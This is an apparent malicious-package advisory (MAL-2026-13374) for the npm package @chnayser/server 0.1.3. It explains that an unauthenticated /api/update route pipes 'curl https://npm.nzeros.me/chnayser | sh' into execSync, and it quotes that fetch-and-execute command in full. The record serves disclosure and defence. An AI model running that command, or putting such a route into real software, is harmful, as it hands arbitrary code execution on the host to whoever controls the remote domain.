Advisory

MAL-2026-13374

Also known as: None

Malicious package Its source marks this package as malicious: it is not a vulnerability in a legitimate one.

Summary

Malicious code in @chnayser/server (npm)

Details

---
_-= Per source details. Do not edit below this line.=-_

Source: amazon-inspector (bdabed9cce6fadeadd8cdbed43b435030ae2e1807a6b13b2815ac6389cfd1c65)
The package's Express server (started via the advertised startServer/createApp entry points) mounts a GET route at /api/update whose handler executes curl https://npm.nzeros.me/chnayser | sh via child_process.execSync (dist/routes.js line 22). The route requires no authentication and is framed as a health/update probe. Any client that can reach the bound address (default 127.0.0.1:4300, overridable via a host option) causes the server process to fetch a shell script from npm.nzeros.me — a domain unrelated to the package's declared publisher — and execute it under /bin/sh. The fetched content is mutable and controlled by whoever owns npm.nzeros.me, giving that party arbitrary remote code execution on the installer's host whenever the server is running and the endpoint is reachable.

Severity

Not rated by the source.

Dates

Published
2026-08-05 21:21 UTC
Modified
2026-08-05 22:19 UTC

Affected packages and fixes

@chnayser/server

npm · All systems

Affected

  • Versions: 0.1.3

Fixed versions

None listed

Fix

No fixed version is listed.

Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.

Check your own computer: guard packages check

View this record on OSV.dev

Source

Source: OpenSSF Malicious Packages · Apache-2.0

Sources & licences